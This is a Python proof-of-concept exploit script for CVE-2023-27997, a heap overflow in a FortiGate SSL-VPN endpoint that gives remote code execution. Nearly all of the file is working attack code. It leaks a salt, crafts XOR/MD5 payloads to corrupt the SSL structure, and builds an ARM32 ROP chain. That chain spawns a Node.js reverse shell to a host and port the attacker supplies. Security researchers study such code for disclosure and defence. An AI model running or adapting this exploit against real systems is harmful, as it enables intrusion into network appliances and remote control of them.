exploit.py

#!/usr/bin/env python3
# XORtigate (CVE-2023-27997) Remote Code Execution
# Author: LEXFO/AMBIONICS @cfreal_
# Date: 2023-10612
# See: https://blog.lexfo.fr/xortigate-cve-2023-27997.html
#
# This exploit is a POC. It won't:
# - fingerprint the target
# - check whether it is vulnerable
# - assert that your ROPchain is valid
#
# It acts as documentation as to how to perform the attack, and is, for this purpose,
# heavily commented. The target firmware is, on purpose, not disclosed.
#
# You'll need ten and pwntools to launch the exploit:
# - https://github.com/cfreal/ten
# - https://docs.pwntools.com/
#
from pwn import *
from ten import *
import hashlib
import ssl
import socket


set_message_formatter("OldschoolMessageFormatter")

REQ_POST = """\
POST %s HTTP/1.1\r
Host: %s:%d\r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r
Content-Type: text/plain;charset=UTF-8\r
Connection: keep-alive\r
Content-Length: %d\r
\r
%s
"""

REQ_GET = """\
GET %s HTTP/1.1\r
Host: %s:%d\r
Connection: keep-alive\r
\r
"""

CIPHERS = "ECDHE-RSA-AES256-SHA@SECLEVEL=0"
context = ssl.create_default_context()
context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED
context.set_ciphers(CIPHERS)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE


def spad(l, i, len) -> str:
    return f"{l}{i}".ljust(len, "x")


def bxor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


@entry
@arg("target", "The target, as host:port")
@arg("local", "Where to connect back to, as host:port")
@arg("crash", "Whether to crash the process or not")
class Exploit:
    host: str
    port: int
    local: str
    salt: str
    SSL_SIZE = 0x1000
    PACKET_SIZE: int
    DISTANCE: int
    """Distance from overflowed buffer to SSL struct.
    """

    def _split_host_port(self, host_port: str) -> tuple:
        try:
            host, port = host_port.split(":", 2)
        except ValueError:
            failure(f"Unable to parse host:port: {host_port}")

        try:
            port = int(port)
        except ValueError:
            failure(f"Port is not numeric: {host}:[b]{port}[/]")

        return host, port

    def __init__(self, target: str, local: str, crash: bool = False):
        self.host, self.port = self._split_host_port(target)
        self.local = self._split_host_port(local)
        self.ip = socket.gethostbyname(self.host)
        self.salt = None

    def create_ssl_socket(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((self.host, self.port))
        ssl_sock = context.wrap_socket(sock)
        return ssl_sock

    def get_seed_for_md5_byte(self, pos, value):
        """Computes a hex value such that the MD5 byte xored in overflow is
        equal to `value`.
        """
        # We could cache the keystreams. It does not matter, though, as it is super
        # fast.
        
        distance = self.DISTANCE + pos
        # First MD5 has its first two bytes used to XOR the size
        distance += 2
        MD5_LEN = 16
        rounds, offset = divmod(distance, MD5_LEN)
        c = hashlib.md5

        for seed in range(2**24):
            seed = "00" + p32(seed)[:3].hex()
            hash = self.compute_md5(seed)
            keystream = hash
            for i in range(rounds):
                hash = c(hash).digest()
                keystream += hash
            if hash[offset] == value:
                return seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
        failure("Unable to get seed")

    def test_sane(self, sock) -> bool:
        """Returns true if a socket is still able to send and receive responses."""
        random = tf.random.string()
        try:
            r = self.send_get(sock, f"/remote/error?errmsg={random}")
        except RuntimeError as e:
            # msg_failure(f"Not sane: {e}")
            return False
        return random.encode() in r

    def test_several_sane(self, sockets):
        for i, s in enumerate(sockets):
            if self.test_sane(s):
                msg_failure(f"{i}: ALIVE")
            else:
                msg_success(f"{i}: DEAD")

    def crash_socket(self, sock):
        """Crashes a worker by repeatedly allocating 0xC00 structs and
        overflowing until it breaks something.
        """
        payload = self.create_payload()

        for _ in range(2):
            for nb in range(3):
                glu = {
                    spad("K", i, self.PACKET_SIZE - 0x18 - 0x8): "" for i in range(nb)
                }
                self.send_post(sock, "/remote/error", glu)
                # Create 3
                glu = {spad("K", 0, self.PACKET_SIZE - 0x18 - 0x8): ""}
                r = self.send_payload(sock, payload, glu)

                if not self.test_sane(sock):
                    return
        else:
            failure("Unable to crash socket")

    def single_write(self, sock, pos, value):
        """Writes a single byte `value` at offset `pos`. The next byte becomes
        a NULL byte.
        """
        seed, _ = self.get_seed_for_md5_byte(pos, value)
        payload = self.create_payload(self.DISTANCE + pos, seed)
        self.send_payload(sock, payload)
        payload = self.create_payload(self.DISTANCE + pos + 1, seed)
        self.send_payload(sock, payload)

    def write_bytes(self, sock, pos, bytes):
        """Writes given bytes at offset `pos`."""
        for i, b in enumerate(bytes):
            self.single_write(sock, pos + i, b)

    def run(self):
        """ARM32 exploit, blind noscope.

        The heap setup happens naturally, as the IN buffer, of size 0x1000, gets
        allocated right on top of the SSL struct (same size).

        As a result, we can force the reallocation of the IN buffer and replace
        it with our payload.
        """
        NB_WORKERS = 3

        salt_socket = self.create_ssl_socket()
        self.get_salt(salt_socket)
        salt_socket.close()

        self.compute_packet_data_size(0x1000)

        def vs(n):
            return n - 0x10 - 4

        attack_socket = self.create_ssl_socket()
        safe_payload = self.create_payload(self.DISTANCE - 1)

        glu = {}
        glu |= {spad("S", j, vs(0x1000)): "" for j in range(12)}

        self.send_payload(attack_socket, safe_payload, glu)

        for i in range(NB_WORKERS - 1):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.host, self.port))
            sock.close()

        target_socket = self.create_ssl_socket()

        # Reallocate buffer
        r = self.send_post(
            target_socket, "/remote/error", {"errmsg": "A" * (0x1000 // 2)}
        )

        # Alter the SSL structure and set the ROPchain
        # To call handshake_func, we need the in_init flag to be set.
        # When it gets called, r0 and r8 point to the beginning of the SSL
        # structure. We stack pivot to using r0, and then shift the stack UP,
        # right into the buffer we overflow from, to get a clean, easy ropchain.

        try:
            # Overwrite s->handshake_func
            """
            .text:01253580                 CMP             R0, #0x10
            .text:01253582                 LDR.W           R3, [R8]
            .text:01253586                 IT CC
            .text:01253588                 MOVCC           R0, #0x10
            .text:0125358A                 ADD.W           R9, R0, R4
            .text:0125358E                 MOV             R7, R0
            .text:01253590                 MOV             R0, R9
            .text:01253592                 BLX             R3
            """
            # The gadget is immediately followed by s->server, which is set to 1
            # originally. We keep it this way.
            self.write_bytes(attack_socket, 0x18, p32(0x01253581) + b"\x01")

            # Overwrite s->version (last gadget)
            # 0x00a875dc (0x00a875dd): mov sp, r7; pop.w {r4, r5, r6, r7, r8, sb, sl, fp, lr}; add sp, #4; bx lr;
            # MSB is 0, so no need to write it and alter data at offset 4
            self.write_bytes(attack_socket, 0x00, p32(0x00A875DD)[:3])

            # Last POP is at sp+0x20, we pull the stack up to the previous
            # buffer, the one we overflow from
            # 0x0053fc7a (0x0053fc7b): sub sp, #0x1a0; pop {r4, pc};
            # MSB is 0, so no need to write it and alter data at offset x24
            self.write_bytes(attack_socket, 0x20, p32(0x0053FC7B)[:3])

            # Overwrite ssl->statem.in_init to force the call to
            # s->handshake_func when SSL_write gets called.
            self.single_write(attack_socket, 0x48, 1)

            # Write the ROPchain into the buffer

            payload = self.create_rop_payload()
            self.send_payload(attack_socket, payload)
        except ssl.SSLError:
            failure("Probably modified attack socket")
        except RuntimeError:
            failure("Error while modifying SSL structure")

        msg_success("Overwrote SSL structure")

        # Check if the attack socket was not altered in any way

        if not self.test_sane(attack_socket):
            failure("Attack socket broken")

        msg_info("Attack socket is sane")

        # Go for it

        msg_info("Triggering exploit")

        try:
            if not self.test_sane(target_socket):
                failure("Target socket broken")
        except ssl.SSLError as e:
            failure(f"Target socket broken: {e}")
        
        msg_info("Target socket is sane")

        if not self.test_sane(attack_socket):
            failure("Attack socket broken")

        msg_info("Attack socket is sane")
        
        msg_success("You (might) have a shell")

    def compute_packet_data_size(self, size) -> None:
        """Computes the size of the `enc` packet for it to fit into heap chunks
        of size `size`.
        """
        self.BLOCK_HEAD = 0x18
        self.PACKET_SIZE = size
        self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
        # Same allocation size as the SSL structure
        alloc_size = self.PACKET_SIZE

        # This will be allocated with a block header
        alloc_size -= 0x18
        # the allocation is the result of this operation:
        # target = (inlen >> 1) + 1
        inlen = (alloc_size - 1) << 1
        # inlen consists of a header of size 12 followed by the data in hexa
        inlen_data = inlen - 12
        inlen_unhex = inlen_data >> 1

        self.packet_data_size = inlen_unhex

    def compute_md5(self, prefix: bytes) -> bytes:
        """Algorithm to compute the initial MD5 value."""
        assert len(prefix) == 8
        return hashlib.md5(
            self.salt.encode()
            + prefix.encode()
            + b"GCC is the GNU Compiler Collection."
        ).digest()

    def create_rop_payload(self) -> str:
        """Creates a ROPchain payload. The payload does not overflow, but it
        contains a valid ropchain preceeded by a retchain.
        The ROPchain is properly aligned and XORed with the MD5 chain, so that
        it is properly stored, decrypted, in the heap.
        """
        seed = "00000000"
        md5 = self.compute_md5(seed)
        size = self.packet_data_size
        len_hi = size >> 8
        len_lo = size & 0xFF

        # retchain !
        GDT_RET = 0x00350DEB
        # 0x00650d1a (0x00650d1b): mov r0, sp; blx r3;
        GDT_MOV_R0_SP = 0x00650D1B
        # 0x000491ba (0x000491bb): add r0, sp, #8; blx r3;
        GDT_ADD_R0_SP_OLD = 0x000491BB
        # 0x003fe296 (0x003fe297): add r0, sp, #0x50; blx r3;
        GDT_ADD_R0_SP = 0x003FE297
        # forks() and calls system(r0)
        FUNC_FORK_SYSTEM = 0x0004BD2D
        # 0x00047378 (0x00047379): pop {r3, pc};
        GDT_POP_R3 = 0x00047379
        # 0x0001acac (0x0001acad): bx lr;
        GDT_BX_LR = 0x0001ACAD

        NODE_PAYLOAD = """/bin/node -e net=require("net"),cp=require("child_process");sh=cp.spawn("/bin/node",["-i"]);client=new
net.Socket();client.connect(%d,"%s",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client)});""" % (
            self.local[1],
            self.local[0],
        )
        assert NODE_PAYLOAD.count(" ") == 2
        OKIDOKI = (
            b"".join(
                map(
                    p32,
                    (
                        GDT_POP_R3,
                        FUNC_FORK_SYSTEM,
                        GDT_ADD_R0_SP,
                    ),
                )
            )
            + b"/" * 0x50
            + NODE_PAYLOAD.encode()
            + b"\x00"
        )
        assert len(OKIDOKI) < 0x1A0 + 4 * 0x20 + 4, "ROPCHAIN too big"
        KEEP = self.packet_data_size - len(OKIDOKI) - 0x10 - 6 - 0x10
        payload = b"RR" + p32(GDT_RET) * (KEEP // 4) + OKIDOKI
        payload = payload.ljust(size, b"A")
        if len(payload) > size:
            failure("Payload too big :(")

        size_data = bytes((len_lo, len_hi)) + payload
        xored_data = bytearray()
        for i, p in enumerate(size_data):
            if i % 16 == 0 and i != 0:
                md5 = hashlib.md5(md5).digest()
            xored_data.append(md5[i % 16] ^ p)
            i += 1
        payload = seed + xored_data.hex()

        return payload

    def create_payload(self, size=None, seed="00000000") -> str:
        """Creates a payload of size `size` using the given `seed`."""
        md5 = self.compute_md5(seed)
        max_size = self.packet_data_size * 2
        if size is None:
            size = max_size
        elif size > max_size:
            failure(f"create_payload: {hex(size)=} > {hex(max_size)=}")
        len_hi = (size >> 8) ^ md5[1]
        len_lo = (size & 0xFF) ^ md5[0]

        data = b"M" * (self.packet_data_size)
        size_data = bytes((len_lo, len_hi)) + data
        payload = seed + size_data.hex()

        return payload

    def send_payload(self, sock, enc: str, data: dict = {}) -> bytes:
        return self.send_post(sock, f"/remote/hostcheck_validate", data | {"enc": enc})

    # HTTP

    def get_salt(self, sock):
        """Obtains the current salt from the remote server"""
        response = self.send_get(sock, "/remote/info")
        self.salt = re.search(rb"salt='(.*?)'", response).group(1).decode()
        msg_info(f"Got salt: {self.salt}")

    def send_get(self, sock, path: str) -> bytes:
        """Sends a GET request, returns the response."""
        request = REQ_GET % (
            path,
            self.host,
            self.port,
        )
        sock.sendall(request.encode())
        return self.try_read_response(sock)

    def send_post(self, sock, path: str, data: dict) -> bytes:
        """Sends a POST request, returns the response."""
        data = tf.qs.unparse(data)
        if len(data) > 0x10000:
            failure(f"POST data too big: {hex(len(data))}")
        request = REQ_POST % (path, self.host, self.port, len(data), data)
        # msg_print(request[:-0x1000])
        sock.sendall(request.encode())
        return self.try_read_response(sock)

    def try_read_response(self, sock) -> bytes:
        """Try to read the response header and contents. If the read() call
        returns an empty byte array, `RuntimeError` is raised. This generally
        indicates that the socket died.
        """

        def read_or_raise(n):
            read = sock.read(n)
            if not read:
                raise RuntimeError(f"Unable to read response headers: {headers}")
            return read

        count = 0
        max_count = 10
        while not (headers := sock.read(1)):
            count += 1
            time.sleep(0.1)
            if count == max_count:
                raise RuntimeError(f"Unable to read response headers: {headers}")

        while b"\r\n\r\n" not in headers:
            headers += read_or_raise(100)

        # TOP tier HTTP parser
        if b"Content-Length: " in headers:
            length = int(re.search(rb"Content-Length: ([0-9]+)", headers).group(1))
            data = headers[headers.index(b"\r\n\r\n") + 4 :]
            while len(data) < length:
                data += read_or_raise(length - len(data))
        elif b"Transfer-Encoding: chunked" in headers:
            data = headers[headers.index(b"\r\n\r\n") + 4 :]
            while not data.endswith(b"\r\n0\r\n\r\n"):
                data += read_or_raise(100)
        else:
            raise RuntimeError(
                f"No Content-Length / Transfer-Encoding headers: {headers}"
            )

        return data


Exploit()